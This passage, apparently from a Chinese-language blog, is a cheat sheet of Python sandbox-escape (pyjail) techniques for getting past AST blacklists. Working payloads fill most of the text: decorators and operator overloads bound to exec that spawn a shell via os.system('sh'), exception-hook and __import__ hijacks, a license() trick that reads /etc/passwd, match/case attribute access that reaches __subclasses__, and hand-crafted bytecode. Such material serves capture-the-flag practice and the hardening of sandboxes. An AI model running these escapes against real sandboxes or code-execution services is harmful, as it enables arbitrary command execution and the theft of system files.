: 表示一个增量赋值语句,如x += 1
。 -
ast.For
: 表示一个for循环。 -
ast.While
: 表示一个while循环。 -
ast.If
: 表示一个if语句。 -
ast.With
: 表示一个with语句。 -
ast.Raise
: 表示一个raise语句。 -
ast.Try
: 表示一个try/except语句。 -
ast.Import
: 表示一个import语句。 -
ast.ImportFrom
: 表示一个from…import…语句。 -
ast.Expr
: 表示一个表达式。 -
ast.Call
: 表示一个函数调用。 -
ast.Name
: 表示一个变量名。 -
ast.Attribute
: 表示一个属性引用,如x.y
。
AST 沙箱会将用户的输入转化为操作码,一般情况下考虑绕过 AST 黑名单
打印AST
import os
import ast
BAD_ATS = {
ast.Attribute,
ast.AST,
ast.Subscript,
ast.comprehension,
ast.Delete,
ast.Try,
ast.For,
ast.ExceptHandler,
ast.With,
ast.Import,
ast.ImportFrom,
ast.Assign,
ast.AnnAssign,
ast.Constant,
ast.ClassDef,
ast.AsyncFunctionDef,
}
a = '''
[
system:=111,
bash:=222
]
'''
print(ast.dump(ast.parse(a, mode='exec'), indent=4))
for x in ast.walk(compile(a, "<QWB7th>", "exec", flags=ast.PyCF_ONLY_AST)):
if type(x) in BAD_ATS:
print(type(x))
exit()
print("[+] OK")
ast.Call
装饰器
绕过
@exec
@input
class X:
pass
由于装饰器不会被解析为调用表达式或语句, 因此可以绕过黑名单
@help
class X:
pass
import os
def fake_wrapper(f):
return '/bin/sh'
@getattr(os,"system")
@fake_wrapper
def something():
pass
自定义装饰器
import os
def fake_wrapper(f):
return '/bin/sh'
@os.system
@fake_wrapper
def something():
pass
函数覆盖
obj[argument]
实际上是调用的 obj.__getitem__
方法.因此只需要覆盖其 __getitem__
方法, 即可在使用 obj[argument]
执行代码
>>> class A:
... __getitem__ = exec
...
>>> A()['__import__("os").system("ls")']
metaclass
在 Python中,类本身也是对象,元类就是创建这些类(即类对象)的类。
类是对象的模板,而元类则是类的模板。元类定义了类的行为和属性
在不使用构造函数的情况下触发
class Metaclass(type):
__getitem__ = exec
class Sub(metaclass=Metaclass):
pass
Sub['import os; os.system("sh")']
除了 __getitem__
之外其他方法的利用方式
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') # (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
class Metaclass(type):
__sub__ = exec
class Sub(metaclass=Metaclass):
pass
Sub-'import os; os.system("sh")'
exceptions
如果一个类继承了 Exception 类, 那么就可以通过 raise 关键字来实例化
class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec
raise RCE
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0
Python 在引发异常时会尝试导入某些模块(比如traceback 模块),导入时就会触发 __import__
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]
license
读取文件
__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass
当调用 license()
时会打印这个文件
将 help 类的 __enter__
方法覆盖为 license
方法, 而 with 语句在创建上下文时会调用 help 的__enter__
, 从而执行 license
方法. 这里的 help 类只是一个载体, 替换为其他的支持上下文的类或者自定义一个类也是可以的
class MyContext:
pass
__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = MyContext()
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass
ast.Attribute
绕过ast.Attribute获取属性
python 3.10 中引入了一个新的特性:match/case,类似其他语言中的 switch/case,但 match/case 更加强大,除了可以匹配数字字符串之外,还可以匹配字典、对象等
item = 2
match item:
case 1:
print("One")
case 2:
print("Two")
# Two
item = (1, 2)
match item:
case (x, y, z):
print(f"{x} {y} {z}")
case (x, y):
print(f"{x} {y}")
case (x,):
print(f"{x}")
匹配类型为 AClass 且存在 thing 属性的对象,并且 thing 属性值自动赋值给 x
class AClass:
def __init__(self, value):
self.thing = value
item = AClass(32)
match item:
case AClass(thing=x):
print(f"Got {x = }!")
# Got x = 32!
可以绕过点号
match str():
case str(__class__=x):
print(x==''.__class__)
# True
''.__class__.__base__.__subclasses__()
match str():
case object(__class__=clazz):
match clazz:
case object(__base__=bass):
match bass:
case object(__subclasses__=subclazz):
print(subclazz)
ast.Assign
绕过ast.Assign赋值,可以使用海象表达式
海象表达式解析后是ast.NamedExpr
ast.Constant
限制了数字、字符串
和字符串关键词绕过一样用list+dict
ast.Subscript
限制索引
min 函数可以获取列表中最小的元素,当列表中只有一个元素时,可以直接取值
min(list(dict(system=[]))) # system
min(list(dict(_wrap_close=[]))) # _wrap_close
min(list(dict(bash=[]))) # bash
如果要获取字典元素,可以利用 get 函数
match globals:
case object(get=get_func):
get_func("system")
ast.For
限制循环
filter、iter、next
def filter_func(subclazzes_item):
[ _wrap_close:=min(list(dict(_wrap_close=[])))]
match subclazzes_item:
case object(__name__=name):
if name==_wrap_close:
return subclazzes_item
[
subclazzes_item:=min(filter(filter_func,subclazzes()))
]
Opcode
修改co_code
python3.11引入专用字节码
import dis
class OpGet:
def __getattr__(self, op):
return dis._all_opmap[op]
O = OpGet()
name = 'breakpoint'
cod = bytes([
O.LOAD_GLOBAL_BUILTIN, 1,
6, 0, # index, 0
6, 0, # index, 0
6, 0, # module key version, 0
6, 0, # builtins key version, 0
O.CALL_PY_EXACT_ARGS, 0,
6, 0, # index, 0
6, 0, # module key version, 0
6, 0, # builtins key version, 0
O.LOAD_ATTR_CLASS, 0,
])
from opcode import opmap
code = bytes([
111, 1, # LOAD_GLOBAL_BUILTIN
6,6,6,6,6,6,6,6, # trash
29, 0, # CALL_BUILTIN_CLASS
6,6,6,6,6,6, # other trash
191,0 # unknown opcode -> error
])
print(code.hex())
输出限制
异常处理
-
KeyError(键错误): 当访问字典中不存在的键时引发的错误。(用户输入的键名被应用使用)
-
FileNotFoundError(文件未找到错误): 在尝试打开不存在的文件时引发的错误。
-
ValueError(值错误): 当函数接收到正确类型的参数,但参数值不合适时引发的错误。
KeyError
KeyError 出现在访问字典中不存在的键,利用时,可以随便构造一个字典,然后以需要读取的变量作为键名传进去。
{"1":"2"}[_]
'varxxx'
FileNotFoundError
FileNotFoundError 出现在找不到指定文件时,将需要读取的变量名传入文件操作函数就可以触发异常。例如 file(python2)、open 等。
但由于题目过滤了 e,这些函数都无法使用,如果需要测试的话可以将过滤的语句删除掉。
open(_)
[Errno 2] No such file or directory: 'varxxx'
ValueError
ValueError 比较好利用,只需要将需要读取的变量,传入一个函数,该函数的参数类型与这个要读取的变量不一致即可,例如:
int(_)
ValueError: invalid literal for int() with base 10: 'varxxx
后记
引用与参考链接:
- https://dummykitty.github.io/python/2023/05/30/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E7%BB%95%E8%BF%87.html
- https://shirajuki.js.org/blog/pyjail-cheatsheet
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)